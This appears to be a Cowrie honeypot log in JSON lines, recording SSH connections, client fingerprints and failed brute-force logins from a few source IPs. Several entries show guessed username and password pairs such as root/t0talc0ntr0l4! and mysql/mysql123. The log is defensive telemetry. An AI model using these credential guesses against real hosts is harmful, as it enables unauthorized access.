{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:21.537230Z","src_ip":"45.140.193.156","session":"f9bf4541d055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37904,"dst_ip":"159.203.135.109","dst_port":22,"session":"849aed13a577","protocol":"ssh","message":"New connection: 91.92.42.133:37904 (159.203.135.109:22) [session: 849aed13a577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:21.640004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:21.763715Z","src_ip":"91.92.42.133","session":"849aed13a577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:21.766325Z","src_ip":"91.92.42.133","session":"849aed13a577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"0","message":"login attempt [ubuntu/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:22.029799Z","src_ip":"45.140.193.156","session":"f9bf4541d055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kim","password":"kim123","message":"login attempt [kim/kim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:22.590553Z","src_ip":"91.92.42.133","session":"849aed13a577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:23.145853Z","src_ip":"45.140.193.156","session":"f9bf4541d055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:23.899818Z","src_ip":"91.92.42.133","session":"849aed13a577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00488710403442,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:27.474165Z","src_ip":"94.23.66.112","session":"3dda7a937fbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60832,"dst_ip":"159.203.135.109","dst_port":22,"session":"b784b3e8f2f3","protocol":"ssh","message":"New connection: 91.92.42.133:60832 (159.203.135.109:22) [session: b784b3e8f2f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:28.187878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:28.345562Z","src_ip":"91.92.42.133","session":"b784b3e8f2f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:28.349165Z","src_ip":"91.92.42.133","session":"b784b3e8f2f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"manoj","password":"manoj123","message":"login attempt [manoj/manoj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:29.459973Z","src_ip":"91.92.42.133","session":"b784b3e8f2f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:30.868792Z","src_ip":"91.92.42.133","session":"b784b3e8f2f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38336,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa0abb1b38dd","protocol":"ssh","message":"New connection: 91.92.42.133:38336 (159.203.135.109:22) [session: aa0abb1b38dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:35.971848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:36.081759Z","src_ip":"91.92.42.133","session":"aa0abb1b38dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:36.085619Z","src_ip":"91.92.42.133","session":"aa0abb1b38dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade","password":"123456","message":"login attempt [trade/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:37.021457Z","src_ip":"91.92.42.133","session":"aa0abb1b38dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:38.479396Z","src_ip":"91.92.42.133","session":"aa0abb1b38dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38408,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ef9020ad7ef","protocol":"ssh","message":"New connection: 91.92.42.133:38408 (159.203.135.109:22) [session: 4ef9020ad7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:42.856505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:43.109122Z","src_ip":"91.92.42.133","session":"4ef9020ad7ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:43.111713Z","src_ip":"91.92.42.133","session":"4ef9020ad7ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"passwd","message":"login attempt [username/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:44.938133Z","src_ip":"91.92.42.133","session":"4ef9020ad7ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:46.390409Z","src_ip":"91.92.42.133","session":"4ef9020ad7ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40764,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5764af14d14","protocol":"ssh","message":"New connection: 91.92.42.133:40764 (159.203.135.109:22) [session: a5764af14d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:50.113852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:50.447174Z","src_ip":"91.92.42.133","session":"a5764af14d14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:50.450023Z","src_ip":"91.92.42.133","session":"a5764af14d14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t0talc0ntr0l4!","message":"login attempt [root/t0talc0ntr0l4!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:52.027558Z","src_ip":"91.92.42.133","session":"a5764af14d14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:53.676789Z","src_ip":"91.92.42.133","session":"a5764af14d14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56278,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfec8138cbcf","protocol":"ssh","message":"New connection: 91.92.42.133:56278 (159.203.135.109:22) [session: dfec8138cbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:56.779318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:57.426410Z","src_ip":"91.92.42.133","session":"dfec8138cbcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:57.429874Z","src_ip":"91.92.42.133","session":"dfec8138cbcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:58:59.341753Z","src_ip":"91.92.42.133","session":"dfec8138cbcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:01.131771Z","src_ip":"91.92.42.133","session":"dfec8138cbcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":59620,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b1189457bbf","protocol":"ssh","message":"New connection: 103.27.238.114:59620 (159.203.135.109:22) [session: 1b1189457bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:03.972770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:03.978018Z","src_ip":"103.27.238.114","session":"1b1189457bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":56310,"dst_ip":"159.203.135.109","dst_port":22,"session":"301bda46a82c","protocol":"ssh","message":"New connection: 91.92.42.133:56310 (159.203.135.109:22) [session: 301bda46a82c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:04.022933Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:04.255783Z","src_ip":"103.27.238.114","session":"1b1189457bbf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:04.396168Z","src_ip":"91.92.42.133","session":"301bda46a82c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:59:04.400983Z","src_ip":"91.92.42.133","session":"301bda46a82c","protocol":"ssh"}
